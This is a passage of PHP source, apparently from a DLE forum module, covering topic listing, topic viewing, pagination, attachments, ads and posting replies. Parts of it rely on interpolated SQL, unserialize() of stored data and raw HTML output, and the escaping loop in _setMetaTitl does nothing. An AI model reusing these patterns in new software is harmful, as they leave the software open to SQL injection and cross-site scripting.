        $option['return'] = parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['topic_20']);
      } else {
        while ($row = $this->db->get_row()) {
          $data = array();
          $data['id_parent'] = $row['id_parent'];
          $data['status_read'] = 'unread';
          $data['id'] = $row['id'];
          $data['title'] = stripslashes($row['title']);
          $data['reply_count'] = $row['reply_count'];
          $data['statusTitl'] = parent::$modules_lang['topic_35'];
          $data['view_count'] = $row['view_count'];
          $data['autor_id'] = $row['autor_id'];
          $data['autor'] = stripslashes($row['autor']);
          $data['site_description'] = stripslashes($row['topic_descr_site']);
          $data['post_date'] = $row['post_date'];
          $data['rating'] = $row['rating'];
          $data['last'] = unserialize($row['last_reply_info']);
          $data['topic_approve'] = $row['topic_approve'];
          $data['fixed'] = $row['topic_fixed'];
          $data['topic_type'] = $row['topic_type'];
          parent::$view->setTopicList($data);
        }
        $option['return'] = parent::$view->setBlockTopic(array('topicList' => parent::$view->tpl->result['short_topic'], 'titlAction' => parent::$modules_lang['topic_17'], 'paginator' => $option['paginator']['paginator'], 'treeDescr' => parent::$modules_lang['topic_18']));
      }
    }
    return parent::$view->setTplMainBlock($option['return'], $this->_setMetaTitl());
  }
  private function _setMetaTitl(array $option = array())
  {
    $result = array();
    switch (parent::$action) {
      case 'new_post':
        $result = array(parent::$modules_lang['what_new'], parent::$modules_lang['topic_22'], parent::$modules_config['meta_keywords']);
        break;
      case 'moderation':
        $result = array($option['titleAction'], parent::$modules_lang['msg_30'], parent::$modules_config['meta_keywords']);
        break;
      case 'main':
        $result = array(parent::$modules_config['meta_titl'], parent::$modules_config['meta_descr'], parent::$modules_config['meta_keywords']);
        break;
      case 'categories':
        $result = array(parent::$treePermanent[$this->id]['tree_title'], $this->_dle_substr(parent::$tree[$this->id]['tree_description'], 0, 190, parent::$config_dle['charset']), $this->_generateMetaKey(parent::$tree[$this->id]['tree_description']));
        break;
      case 'showtopic':
        $result = array($option['Titl'], $option['Description'], $option['Key']);
        break;
      case 'newtopic':
        $result = array(parent::$modules_lang['topic_new_3'] . parent::$treePermanent[$this->id]['tree_title'], parent::$modules_lang['topic_new_3'] . parent::$treePermanent[$this->id]['tree_title'], parent::$modules_config['meta_keywords']);
        break;
      case 'add_message':
        if ($option[4]) {
          $result = array($option[0], $option[1], $option[2]);
        }
        break;
      case 'message_user':
        $result = array($option['titleAction'], $option['titleAction'], parent::$modules_config['meta_keywords']);
        break;
      case 'topic_user':
        $result = array($option['titleAction'], $option['titleAction'], parent::$modules_config['meta_keywords']);
        break;
      case 'findpost':
        $result = array($option['subInfo'], parent::$modules_lang['user_0'], parent::$modules_config['meta_keywords']);
        break;
      case 'watched':
        $result = array(parent::$modules_lang['topicVis'], parent::$modules_lang['topicVis'], parent::$modules_config['meta_keywords']);
        break;
      default:
        break;
    }
    $result[0] = $this->page > 1 ? $result[0] . parent::$modules_lang['page'] . $this->page : $result[0];
    foreach ($result as $key => $val) {
      $val = stripslashes(htmlspecialchars($val));
    }
    return $result;
  }
  private function _getNewMessage()
  {
    $row = array();
    $ret = '';
    $this->db->query("SELECT 
                        msg.message_autor, 
                        msg.autors_id, 
                        msg.message_date, 
                        msg.id_topic, 
                        msg.id,topic.title
                      FROM " . PREFIX . "_be_message AS msg
                      LEFT JOIN " . PREFIX . "_be_topic AS topic ON (
                        msg.id_topic = topic.id
                      )
                      WHERE 
                        tree_id IN (" . $this->_getGroupIdParseTree() . ")
                      ORDER BY 
                        message_date DESC 
                      LIMIT 0 , " . parent::$modules_config['widget_last_post_count'] . "");
    if (!$this->db->num_rows()) {
      return false;
    }
    while ($row = $this->db->get_row()) {
      if (date('Ymd', $row['message_date']) == date('Ymd', $this->time)) {
        $row['message_date'] = parent::$modules_lang['one_day'] . $this->langdate(", H:i", $row['message_date']);
      } elseif (date('Ymd', $row['message_date']) == date('Ymd', ($this->time - 86400))) {
        $row['message_date'] = parent::$modules_lang['back_day'] . $this->langdate(", H:i", $row['message_date']);
      } else {
        $row['message_date'] = $this->langdate('j F Y', $row['message_date']);
      }
      $ret .= '<li><a class="title" href="' . $this->linck->postLinck($row['id_topic'], $row['id']) . '">' . stripcslashes($row['title']) . '</a>' . parent::$modules_lang['side_bar_0'] . $this->linck->card_user(array($row['message_autor'], $row['autors_id'])) . $row['message_autor'] . '</a> <b class="date">(' . $row['message_date'] . ')</b></li>';
    }
    $ret = '<div class="blockRight MessageNew"><div class="conteiner"><h3>' . parent::$modules_lang['side_bar_1'] . '</h3><ul>' . $ret . '</ul></div></div>';
    return $ret;
  }
  protected function _viewTopic()
  {
    $data = array();
    $join = parent::$logged_is ? array('readJoin' => "LEFT JOIN " . PREFIX . "_be_read_topic AS read_topic 
                                                      ON topic.id = read_topic.ber_topic_id
                                                      AND read_topic.ber_user_id = {$this->userID}", 'readColum' => ', read_topic . *', 'feed' => "LEFT JOIN " . PREFIX . "_be_feed AS feed
                                                                 ON (feed.id_topic = $this->id) 
                                                                 AND feed.id_user = {$this->userID}", 'columFeed' => ',feed.id_user') : array('readJoin' => '', 'readColum' => '');
    $row = $this->db->super_query("SELECT topic . *  {$join['readColum']}{$join['columFeed']}
                                   FROM " . PREFIX . "_be_topic AS topic
                                   {$join['readJoin']}
                                   {$join['feed']}
                                   WHERE topic.id = {$this->id}
                                   LIMIT 1");
    $option = array('metaTags' => unserialize($row['topic_meta']), 'id_parent' => intval($row['id_parent']), 'teadDateTopic' => intval($row['ber_read_date']), 'typeTopic' => intval($row['topic_type']), 'topicRating' => intval($row['rating']), 'lastReply' => intval($row['last_reply_date']), 'postDate' => intval($row['post_date']), 'title' => stripslashes($row['title']), 'topicDescrSite' => stripslashes($row['topic_descr_site']), 'aproveTopic' => intval($row['topic_approve']), 'userPrivateTopic' => $row['topic_private_user'], 'isFeed' => $row['id_user']);
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_14'] . $option['title'], 'idTopic' => $this->id));
    }
    $option['speedbar'] = array('titlAction' => $option['title'], 'idTree' => $option['id_parent'], 'titlTree' => stripslashes(parent::$treePermanent[$option['id_parent']]['tree_title']));
    if (!$option['id_parent']) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_12']);
    }
    $row = $this->db->super_query("SELECT COUNT(*) AS count 
                                   FROM " . PREFIX . "_be_message
                                   WHERE id_topic = {$this->id}");
    $option['countMessage'] = $row['count'];
    if (!$this->_checkTreeConfigParam('tree_access_topic_read', $option['id_parent'])) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['topic_11']);
    }
    if (!$option['aproveTopic'] and !$this->ckeckModulesConfig('be_moder_moder_view')) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['topic_38']);
    }
    if ($option['typeTopic'] == 1 and !in_array(parent::$id_member['name'], explode(',', $option['userPrivateTopic']))) {
      return parent::$view->setTplMainBlock(parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_17']), array(parent::$modules_lang['error_3'], parent::$modules_lang['error_3'], parent::$modules_lang['error_3']));
    }
    if (parent::$modules_config['topic_view']) {
      $this->db->query("UPDATE " . PREFIX . "_be_topic 
                        set view_count= view_count + 1 
                        where id = {$this->id}");
    }
    $pag = $this->setPaginator(array('unreadCount' => $option['countMessage'], 'linck' => $this->linck->topicLinck($this->id)));
    if (parent::$modules_config['reputations']) {
      $option['joinReputation'] = ', repa, repa_mod, repa_off, r_freeze';
    }
    $option['advertising'] = parent::$modules_config['adv'] ? $this->_advertising($option['id_parent'], false) : '';
    if ($option['advertising']['position'] == 'random') {
      $option['rand'] = rand(1, parent::$modules_config['message_count_page']);
    } elseif ($option['advertising']['position'] == 'top') {
      $option['contentTopAdv'] = stripcslashes($option['advertising']['content']);
    } elseif ($option['advertising']['position'] == 'footer') {
      $option['contentFooterAdv'] = stripcslashes($option['advertising']['content']);
    }
    $option['dataIsOnline'] = $this->time - parent::$modules_config['session_time'] * 60;
    if (parent::$modules_config['session_check'] and parent::$modules_config['online']) {
      $option['joinStatus'] = array('table' => "LEFT JOIN " . PREFIX . "_be_session AS session 
                                                ON ( msg.autors_id = session.user_id )", 'select' => ', session.session_id', 'where' => "AND session.date > {$option['dataIsOnline']}");
    }
    if (parent::$modules_config['is_like'] and parent::$logged_is) {
      $option['joinThanks'] = array('colums' => ',thanks.thanks_id');
      $option['joinThanks']['join'] = "LEFT JOIN " . PREFIX . "_be_thanks as thanks ON (thanks.thanks_msg_id = msg.id) 
                                       and thanks.thanks_id_user = " . $this->userID;
    }
    $this->db->query("SELECT msg.*, user.*
                             {$option['joinReputation']}
                             {$option['joinStatus']['select']}
                             {$option['joinThanks']['colums']}
                             FROM " . PREFIX . "_be_message as msg
                             LEFT JOIN " . PREFIX . "_users as user
                             ON (msg.autors_id = user.user_id)
                             {$option['joinStatus']['table']} 
                             {$option['joinStatus']['where']}
                             {$option['joinThanks']['join']}
                             WHERE id_topic = {$this->id}
                             ORDER BY  id ASC 
                             LIMIT {$pag['start']}, {$pag['nums']}");
    $count = 0;
    if (!$this->page) {
      $this->page = 1;
    }
    $count_id_msg = ($this->page - 1) * parent::$modules_config['message_count_page'] + 1;
    $attachmentMessageId = array();
    while ($row = $this->db->get_row()) {
      $data = array();
      $attachment = '';
      if (intval($row['attachment'])) {
        $attachmentMessageId[] = $row['id'];
        $attachment = '{attachment-' . $row['id'] . '}';
      }
      if ($this->ckeckModulesConfig('be_access_thanks') and parent::$modules_config['is_like'] and !$row['thanks_id'] and $this->userID != $row['autors_id']) {
        $data['like'] = '<a class="likeContent" onclick="like(\'' . $row['id'] . '\'); return false;" href="#">' . parent::$modules_lang['like_0'] . '</a>'; //like
      } elseif ($this->ckeckModulesConfig('be_access_thanks') and parent::$modules_config['is_like'] and $row['thanks_id'] and $this->userID != $row['autors_id']) {
        $data['like'] = '<a class="likeContent" onclick="like(\'' . $row['id'] . '\'); return false;" href="#">' . parent::$modules_lang['like_1'] . '</a>'; //unlike
      } else {
        $data['like'] = false;
      }
      $data['one_message'] = $row['parent_msg'];
      $data['repa'] = $row['repa'];
      $data['repa_mod'] = $row['repa_mod'];
      $data['repa_off'] = $row['repa_off'];
      $data['r_freeze'] = $row['r_freeze'];
      $data['thanks_count'] = $row['thanks'];
      $data['user_thanks'] = $row['user_thanks'];
      $data['id_msg_topic'] = $count_id_msg;
      $data['message_autor'] = $row['message_autor'];
      $data['autors_id'] = $row['autors_id'];
      if ($row['session_id']) {
        $data['isOnline'] = true;
      } else {
        $data['isOnline'] = false;
      }
      if ($this->checkModerator($row['tree_id']) and $this->ckeckModulesConfig('be_moder_ip_view')) {
        $data['message_autor_ip'] = long2ip($row['message_autor_ip']);
      }
      if ($row['autors_id'] == parent::$id_member['user_id'] and $this->ckeckModulesConfig('be_access_edit_my_post') and $this->time - ($row['message_date'] + 120) < 0 and $option['typeTopic'] != 2) {
        $data['editCommentAccess'] = true;
      } elseif ($row['autors_id'] != parent::$id_member['user_id'] and $this->ckeckModulesConfig('be_moder_edit_message_user') and $this->checkModerator($row['tree_id'])) {
        $data['editCommentAccess'] = true;
      } elseif ($row['autors_id'] == parent::$id_member['user_id'] and $this->checkModerator($row['tree_id']) and $this->ckeckModulesConfig('be_access_edit_my_post')) {
        $data['editCommentAccess'] = true;
      } else {
        $data['editCommentAccess'] = false;
      }
      if ($row['autors_id'] == parent::$id_member['user_id'] and $this->ckeckModulesConfig('be_access_del_my_post') and $this->time - ($row['message_date'] + 120) < 0 and !$row['parent_msg']) {
        $data['deleteMessage'] = true;
      } elseif ($row['autors_id'] != parent::$id_member['user_id'] and $this->ckeckModulesConfig('be_moder_del_message_user') and $this->checkModerator($row['tree_id']) and !$row['parent_msg']) {
        $data['deleteMessage'] = true;
      } elseif ($row['autors_id'] == parent::$id_member['user_id'] and $this->ckeckModulesConfig('be_access_del_my_post') and $this->checkModerator($row['tree_id']) and !$row['parent_msg']) {
        $data['deleteMessage'] = true;
      } else {
        $data['deleteMessage'] = false;
      }
      if (parent::$logged_is and $option['typeTopic'] != 2) {
        $data['fast'] = true;
      } else {
        $data['fast'] = false;
      }
      if ($this->ckeckModulesConfig('be_complaint') and $row['message_autor'] != parent::$id_member['name']) {
        $data['complaint'] = true;
      } else {
        $data['complaint'] = false;
      }
      if (parent::$modules_config['is_like']) {
        $row['user_thanks'] = unserialize($row['user_thanks']);
        if ($row['user_thanks']) {
          foreach ($row['user_thanks'] as $key => $value) {
            $data['fetchLike'][] = $this->linck->setLinckCardUser(array($value[0], $value[1], parent::$modules_lang['card_user'])) . $value[0] . '</a>';
          }
        }
        if (($row['thanks'] - 3) > 0) {
          $data['sorseAll'] = $row['thanks'] - 3;
          $data['likeUserAll'] = parent::$modules_lang['like_4'] . '<a href="#" onclick="getAllLike(\'' . $row['id'] . '\'); return false;">' . parent::$modules_lang['like_3'] . $data['sorseAll'] . '</a>';
        }
        $data['msgUserLike'] = count($data['fetchLike']) ? '<div class="likeBox-' . $row['id'] . '"><div>' . implode(', ', $data['fetchLike']) . $data['likeUserAll'] . parent::$modules_lang['like_2'] . '</div></div>' : '<div class="likeBox-' . $row['id'] . '"></div>';
      }
      $data['message_date'] = $this->langdate(parent::$modules_config['time_step_message'], $row['message_date']);
      $data['message_text'] = stripslashes($row['message_text']) . $attachment . $data['msgUserLike'];
      $data['news_num'] = $row['news_num'];
      $data['comm_num'] = $row['comm_num'];
      $data['forum_topic_count'] = $row['forum_topic_count'];
      $data['forum_post_count'] = $row['forum_post_count'];
      $data['user_group'] = parent::$group_user[$row['user_group']]['group_name'];
      $data['css_name'] = parent::$groups_config[$row['user_group']]['be_style_name_css'];
      $data['css_group'] = parent::$groups_config[$row['user_group']]['be_style_group_css'];
      $data['reg_date'] = $this->langdate(parent::$modules_config['time_step_autor'], $row['reg_date']);
      $data['foto'] = $row['foto'] ? parent::$config_dle['http_home_url'] . 'uploads/fotos/' . $row['foto'] : parent::$config_dle['http_home_url'] . 'templates/' . parent::$config_dle['skin'] . '/bullet_energy/images/noavatar.png';
      $data['msg_edit_date'] = $row['msg_edit_date'];
      $data['edit_autor'] = $row['edit_autor'];
      $data['signature'] = stripcslashes($row['signature']);
      $data['icq'] = $row['icq'];
      $data['mesage_id'] = $row['id'];
      $data['parent_msg'] = $row['parent_msg'];
      if ($count == 0) {
        $meta_descr = $data['message_text'];
      }
      parent::$view->messge_topic($data);
      if ($count + 1 == $option['rand']) {
        parent::$view->tpl->result['short_message'] .= stripcslashes($option['advertising']['content']);
      }
      $count++;
      $count_id_msg++;
    }
    if (count($attachmentMessageId)) {
      foreach ($attachmentMessageId as $key => $value) {
        $replace = '';
        $searchTags = '';
        $searchTags = '{attachment-' . $value . '}';
        $this->db->query("SELECT * FROM " . PREFIX . "_be_attachment 
                          WHERE attachment_type = 1 
                          AND attachment_content_id = {$value}");
        while ($row = $this->db->get_row()) {
          $data = $row['attachment_date'];
          $name = substr($row['attachment_name'], 10);
          $user_name = $row['attachment_user_name'];
          $size = $this->formatsize($row['size']);
          if (!parent::$groups_config[parent::$id_member['user_group']]['be_access_download'] or $this->id != $row['topic_id']) {
            $replace = parent::$modules_lang['attachment_1'];
          } elseif (parent::$modules_config['dowload_count']) {
            $replace .= '<li class="attachmentBox"><div class="InnertBox"><div class="attachmentInfoBox"><h4><a href="' . $this->linck->attachLinck(intval($row['attachment_id'])) . '">' . $name . '</a></h4>
            <dl><dt>' . parent::$modules_lang['attachment_2'] . '</dt><dd>' . $size . '</dd></dl>
            <dl><dt>' . parent::$modules_lang['attachment_3'] . '</dt><dd>' . $row['attachment_count'] . '</dd></dl></div></div></li>';
          } elseif (!parent::$modules_config['dowload_count']) {
            $replace .= '<li class="attachmentBox"><div class="InnertBox"><div class="attachmentInfoBox"><h4><a href="' . $this->linck->attachLinck(intval($row['attachment_id'])) . '">' . $name . '</a></h4>
            <dl><dt>' . parent::$modules_lang['attachment_2'] . '</dt><dd>' . $size . '</dd></dl></div></div></li>';
          } else {
            $replace = parent::$modules_lang['attachment_4'];
          }
        }
        $replace = '<div class="attachment_forum" id="attachmentBox-' . $value . '"><h4>' . parent::$modules_lang['attachment_0'] . '</h4><ol>' . $replace . '</ol></div>';
        parent::$view->tpl->result['short_message'] = str_replace($searchTags, $replace, parent::$view->tpl->result['short_message']);
      }
    }
    if ($this->_checkTreeConfigParam('tree_access_topic_replic', $option['id_parent']) and parent::$logged_is and $option['typeTopic'] != 2) {
      $option['addMessageTpl'] = parent::$view->add_message(array($this->id, $this->page));
    }
    if (parent::$logged_is) {
      $this->db->query("INSERT INTO " . PREFIX . "_be_read_topic 
                        (ber_read_id,ber_user_id,ber_topic_id,ber_tree_id,ber_read_date) 
                        VALUES (NULL,{$this->userID},{$this->id},{$option['id_parent']},{$this->time}) 
                        ON DUPLICATE KEY UPDATE ber_read_date={$this->time}");
      $join = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND topic.topic_approve = 1";
      $row = $this->db->super_query("SELECT COUNT(*) AS count 
                                     FROM " . PREFIX . "_be_topic as topic
                                     LEFT JOIN " . PREFIX . "_be_read_topic as read_topic
                                     ON topic.id = read_topic.ber_topic_id 
                                     AND {$this->userID} = read_topic.ber_user_id 
                                     WHERE id_parent = {$this->id}
                                     AND topic.post_date < {$this->timeMarkerOldTopic}
                                     {$join}
                                     AND read_topic.ber_read_date IS NULL 
                                     OR read_topic.ber_read_date < topic.last_reply_date");
      if (intval($row['count']) == 0) {
        $this->db->query("INSERT INTO " . PREFIX . "_be_read_tree (bert_read_id,bert_user_id,bert_tree_id,bert_read_date) VALUES (NULL,{$this->userID},{$this->id},{$this->time}) ON DUPLICATE KEY UPDATE bert_read_date = {$this->time}");
      }
    }
    if ($option['typeTopic'] == 2) {
      parent::$view->tpl->result['block_full_topic'] = '<p class="topicStatus"><b>' . parent::$modules_lang['topic_46'] . '</b>' . parent::$modules_lang['topic_47'] . '</p>';
    } elseif ($option['typeTopic'] == 1) {
      parent::$view->tpl->result['block_full_topic'] = '<p class="topicStatus"><b>' . parent::$modules_lang['topic_46'] . '</b>' . parent::$modules_lang['topic_48'] . '</p>';
    }
    if ($this->checkModerator($option['idTree'])) {
      $option['optionSel'] = "<a class=\"optionTopic\" onclick=\"topicOption('" . $this->id . "'); return false;\" href=\"#\">" . parent::$modules_lang['topic_53'] . "</a>";
    }
    $option['optionSel'] .= $option['isFeed'] ? '<a id="feedClick" onclick="topicFeed(\'' . $this->id . '\'); return false;" class="optionTopic" href="#">' . parent::$modules_lang['topic_55'] . '</a>' : '<a id="feedClick" onclick="topicFeed(\'' . $this->id . '\'); return false;" class="optionTopic" href="#">' . parent::$modules_lang['topic_54'] . '</a>';
    $option['optionSel'] = parent::$logged_is ? $option['optionSel'] : '';
    $option['topicContentPage'] = parent::$view->setTplViewFullTopic(array('message' => parent::$view->tpl->result['short_message'] . $option['contentFooterAdv'], 'topicName' => $option['title'], 'topicDescrSite' => $option['topicDescrSite'], 'optionSel' => $option['optionSel'], 'replic' => $option['addMessageTpl'], 'paginator' => $pag['paginator']));
    $option['widget'] = in_array(parent::$action, $this->sideBar) ? $this->_getSidebar() : false;
    return parent::$view->setTplMainBlock($option['contentTopAdv'] . $option['topicContentPage'], $this->_setMetaTitl($option['metaTags']), array('spedbar' => $option['speedbar'], 'widget' => $option['widget']));
  }
  private function _advertising($treeId = 0, $tree = false)
  {
    $advertising = array();
    if ($tree) {
      foreach (parent::$advertising as $key => $val) {
        if (in_array($treeId, $val['advertising_tree']) and in_array(parent::$id_member['user_group'], $val['advertising_group'])) {
          $advertising[] = '<div class="userBoxTopContent">' . $val['advertising_content'] . '</div>';
        }
      }
    } else {
      foreach (parent::$advertising as $key => $val) {
        if (in_array($treeId, $val['advertising_tree']) and in_array(parent::$id_member['user_group'], $val['advertising_group']) and $val['advertising_topic'] != 'none') {
          $advertising[] = array('content' => '<div class="userBoxContentTopicView">' . $val['advertising_content'] . '</div>', 'position' => $val['advertising_topic']);
        }
      }
    }
    return count($advertising) ? $advertising[array_rand($advertising)] : '';
  }
  private function setPaginator(array $option = array())
  {
    //:TODO: modify if & else
    $nums = '';
    if (parent::$action == 'showtopic') {
      $option['endSql'] = intval(parent::$modules_config['message_count_page']);
    } elseif (parent::$action == 'categories') {
      $option['endSql'] = parent::$modules_config['topic_count'];
    } elseif (parent::$action == 'new_post') {
      $option['endSql'] = parent::$modules_config['topic_count'];
    } elseif (parent::$action == 'message_user') {
      $option['endSql'] = parent::$modules_config['message_count_page'];
    } elseif (parent::$action == 'topic_user') {
      $option['endSql'] = parent::$modules_config['topic_count'];
    } elseif (parent::$action == 'moderation') {
      $option['endSql'] = parent::$modules_config['message_count_page'];
    } elseif (parent::$action == 'watched') {
      $option['endSql'] = parent::$modules_config['topic_count'];
    }
    $option['pages'] = ceil($option['unreadCount'] / $option['endSql']);
    $option['pageSyfix'] = parent::$modules_config['cpu'] ? '/page-' : '&amp;page=';
    $option['page'] = $this->page < 1 ? 1 : $this->page;
    $option['startSql'] = intval(($option['page'] - 1) * $option['endSql']);
    $left_neighbour = $option['page'] - parent::$modules_config['count_pagination_rez'];
    if ($left_neighbour < 1)
      $left_neighbour = 1;
    $right_neighbour = $option['page'] + parent::$modules_config['count_pagination_rez'];
    if ($right_neighbour > $option['pages'])
      $right_neighbour = $option['pages'];
    if ($option['page'] > 1) {
      $option['linckPrev'] = ($option['page'] - 1) == 1 ? $option['linck'] : $option['linck'] . $option['pageSyfix'] . ($option['page'] - 1);
      $prev_linck = $option['linckPrev'];
    }
    for ($i = $left_neighbour; $i <= $right_neighbour; $i++) {
      $option['linckStep'] = $i == 1 ? $option['linck'] : $option['linck'] . $option['pageSyfix'] . $i;
      if ($i != $option['page']) {
        $rek_page .= '<li><a href="' . $option['linckStep'] . '">' . $i . '</a></li>';
      } else {
        if ($option['pages'] != 1) {
          $rek_page .= '<li title="' . parent::$modules_lang['paginator_0'] . '" class="active">' . $i . '</li>';
        }
      }
    }
    if ($option['page'] < $option['pages']) {
      $next_linck .= $option['linck'] . $option['pageSyfix'] . ($option['page'] + 1);
    }
    if ($option['unreadCount'] > $option['endSql']) {
      $option['tplPaginator'] = parent::$view->setTplPaginator($prev_linck, $next_linck, $rek_page);
    }
    return array('start' => $option['startSql'], 'nums' => $option['endSql'], 'paginator' => $option['tplPaginator']);
  }
  public function formatsize($file_size)
  {
    //dle function
    if ($file_size >= 1073741824) {
      $file_size = round($file_size / 1073741824 * 100) / 100 . " Gb";
    } elseif ($file_size >= 1048576) {
      $file_size = round($file_size / 1048576 * 100) / 100 . " Mb";
    } elseif ($file_size >= 1024) {
      $file_size = round($file_size / 1024 * 100) / 100 . " Kb";
    } else {
      $file_size = $file_size . " b";
    }
    return $file_size;
  }
  public function langdate($format, $stamp)
  {
    //dle function
    return strtr(@date($format, $stamp), parent::$lang_local);
  }
  protected function _replyFull($data = array())
  {
    /*Function is modified 03.07.2011 RC 0.1*/
    $row = $this->db->super_query("SELECT id_parent,title,topic_descr_site FROM " . PREFIX . "_be_topic WHERE id = {$this->id} LIMIT 1");
    $option = array('error' => $data, 'id_parent' => intval($row['id_parent']), 'title' => stripslashes($row['title']), 'topic_descr_site' => stripcslashes($row['topic_descr_site']), 'id' => $this->id, 'data' => $_POST['message_reply']);
    if (!$this->_checkTreeConfigParam('tree_access_topic_replic', $option['id_parent'])) {
      die('Error no access replic');
    }
    //attachment
    $this->db->query("SELECT attachment_id,attachment_type,attachment_name,attachment_date 
                      FROM " . PREFIX . "_be_attachment 
                      WHERE attachment_user_id = '{$this->userID}' 
                      AND attachment_content_id = 0 
                      AND attachment_user_name = '{$this->userName}' 
                      ORDER BY attachment_id DESC");
    if ($this->db->num_rows()) {
      while ($row = $this->db->get_row()) {
        $data['fileType'] = intval($row['attachment_type']);
        $data['fileExtensions'] = $this->_getExtensions($row['attachment_name']);
        $data['fileDateUpload'] = date('Y-m', $row['attachment_date']);
        $data['fileName'] = $row['attachment_name'];
        $data['fileNameSiteView'] = substr($row['attachment_name'], 10, 100);
        $data['fileDbId'] = $row['attachment_id'];
        $option['attachment'] .= parent::$view->setTplAttachmentList($data);
      }
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_15'] . $option['title']));
    }
    return parent::$view->setTplMainBlock(parent::$view->setTplReplyFull($option), $this->_setMetaTitl(array(0 => parent::$modules_lang['topic_39'] . $option['title'], 1 => $option['topic_descr_site'], 4 => true)), array('spedbar' => array('titlAction' => $option['title'], 'idTree' => $option['id_parent'], 'titlTree' => parent::$treePermanent[$option['id_parent']]['tree_title'], 'topicId' => $this->id)));
  }
  private function _getExtensions($fileName = '')
  {
    return substr($fileName, strrpos($fileName, '.') + 1);
  }
  protected function _addMessageDB()
  {
    /*Function is modified 03.07.2011 RC 0.1*/
    if (strip_tags(trim($_POST['post_text'])) != '') {
      die();
    }
    $row = $this->db->super_query("SELECT id,title,id_parent,reply_count FROM " . PREFIX . "_be_topic WHERE id = " . $this->getInt('topict_id') . " LIMIT 1");
    if (!$row['id'] or !parent::$logged_is) {
      die();
    }
    $_POST['topic_name'] = $row['title'];
    $option = array('ip' => $this->db->safesql(ip2long($_SERVER['REMOTE_ADDR'])), 'user_name' => $this->db->safesql(parent::$id_member['name']), 'topic_id' => $this->getInt('topict_id'), 'topic_name' => stripcslashes($row['title']), 'id_parent' => intval($row['id_parent']), 'messagePOST' => $this->db->safesql($this->filter->BB_Parse($this->filter->process(trim($_POST['message_reply'])), false)));
    $pages = ceil(($row['reply_count'] + 2) / parent::$modules_config['message_count_page']);
    $pagesRedir = parent::$modules_config['cpu'] ? '/page-' . $pages : '&page=' . $pages;
    $pagesRedir = $pages == 1 ? '' : $pagesRedir;
    $option['pageSyfix'] = parent::$modules_config['cpu'] ? '/page-' . $pages : '&amp;page=' . $pages;
    $pages = $pages == 1 ? '' : $option['pageSyfix'];
    $foto = parent::$id_member['foto'] == '' ? '' : parent::$id_member['foto'];
    if (parent::$id_member['user_group'] == 1 or $this->checkModerator($option['id_parent'])) {
      $aprove = 1;
    } else {
      $aprove = 0;
    }
    if (!$this->_checkTreeConfigParam('tree_access_topic_replic', $option['id_parent'])) {
      $error[] = '<li>' . parent::$modules_lang['topic_2'] . '</li>';
    }
    if ($this->_dle_strlen($option['messagePOST'], parent::$config_dle['charset']) < parent::$modules_config['message_count_mini']) {
      $error[] = '<li>' . parent::$modules_lang['topic_4'] . '</li>';
    }
    if ($this->_dle_strlen($option['messagePOST'], parent::$config_dle['charset']) > parent::$modules_config['message_count']) {
      $error[] = '<li>' . parent::$modules_lang['topic_3'] . '</li>';
    }
    if (!$this->ckeckModulesConfig('be_captha_status')) {
      if (!parent::$modules_config['captha_type']) {
        if (!trim($_POST['question']) or !parent::$question[$this->getInt('question_sec')]) {
          $error[] = '<li>' . parent::$modules_lang['msg_18'] . '</li>';
        }
        $capthaAnswer = trim(strip_tags(strtolower($this->filter->process($this->getString('question')))));
        $arrAnswer = explode('<sep>', parent::$question[$this->getInt('question_sec')]['answers']);
        foreach ($arrAnswer as $key => &$answer) {
          $answer = strip_tags(strtolower($answer));
        }
        if (!in_array($capthaAnswer, $arrAnswer) and trim($_POST['question'])) {
          $error[] = '<li>' . parent::$modules_lang['msg_17'] . '</li>';
        }
      }
    }
    if (count($error)) {
      $error = parent::$view->error_set(parent::$modules_lang['error_14'], '<ul>' . implode('', $error) . '</ul>');
      return $this->_replyFull($error);
    }
    $row = $this->db->super_query("SELECT count( * ) AS count
                                   FROM " . PREFIX . "_be_attachment
                                   WHERE attachment_type = 1
                                   AND attachment_content_id = 0
                                   AND attachment_user_name = '{$option['user_name']}'
                                   AND topic_id = 0");
    $attachment = $row['count'] >= 1 ? 1 : 0;
    $this->db->query("INSERT INTO " . PREFIX . "_be_message 
                      (id, id_topic, autors_id, message_autor, message_autor_ip, message_date, message_text, message_approve,tree_id,attachment,user_thanks) 
                      VALUES (NULL , '{$option['topic_id']}' , '{$this->userID}' , '{$option['user_name']}' , '{$option['ip']}' , '{$this->time}' , '{$option['messagePOST']}' , '{$aprove}' , {$option['id_parent']} , '{$attachment}','')");
    $option['insertMsgId'] = $this->db->insert_id();
    $last = $this->_generateLastPostInfo(array($option['user_name'], $this->time, $option['topic_name'], $this->linck->topic_linck_redirect($option['topic_id']) . $pages . '#message-' . $option['insertMsgId'], $foto, $this->userID));
    $this->db->query("UPDATE " . PREFIX . "_be_tree 
                      SET tree_last_info='{$last}',
                      tree_answer=tree_answer+1,
                      tree_last_date={$this->time} 
                      WHERE tree_id = '{$option['id_parent']}'");
    $this->db->query("UPDATE " . PREFIX . "_be_topic 
                      SET last_reply_info='{$last}', 
                      last_reply_date = '{$this->time}', 
                      reply_count=reply_count+1 
                      WHERE id = '{$option['topic_id']}'");
    if (parent::$treePermanent[$option['id_parent']]['tree_count']) {
      $this->db->query("UPDATE " . PREFIX . "_users 
                      SET forum_post_count = forum_post_count + 1 
                      WHERE user_id = '{$this->userID}'");
    }
    if ($this->ckeckModulesConfig('be_upload_img')) {
      $this->db->query("UPDATE " . PREFIX . "_be_attachment 
                        SET attachment_content_id = '{$option['insertMsgId']}', 
                        topic_id = '{$option['topic_id']}' 
                        WHERE attachment_user_id = '{$this->userID}' 
                        AND attachment_user_name = '{$option['user_name']}' 
                        AND attachment_content_id = 0 and attachment_type = 0");
    }
    if ($this->ckeckModulesConfig('be_upload') and $attachment) {
      $this->db->query("UPDATE " . PREFIX . "_be_attachment 
                        SET attachment_content_id = '{$option['insertMsgId']}', 
                        topic_id = '{$option['topic_id']}' 
                        WHERE attachment_user_id = '{$this->userID}' 
                        AND attachment_user_name = '{$option['user_name']}' 
                        AND attachment_content_id = 0 and attachment_type = 1");
    }
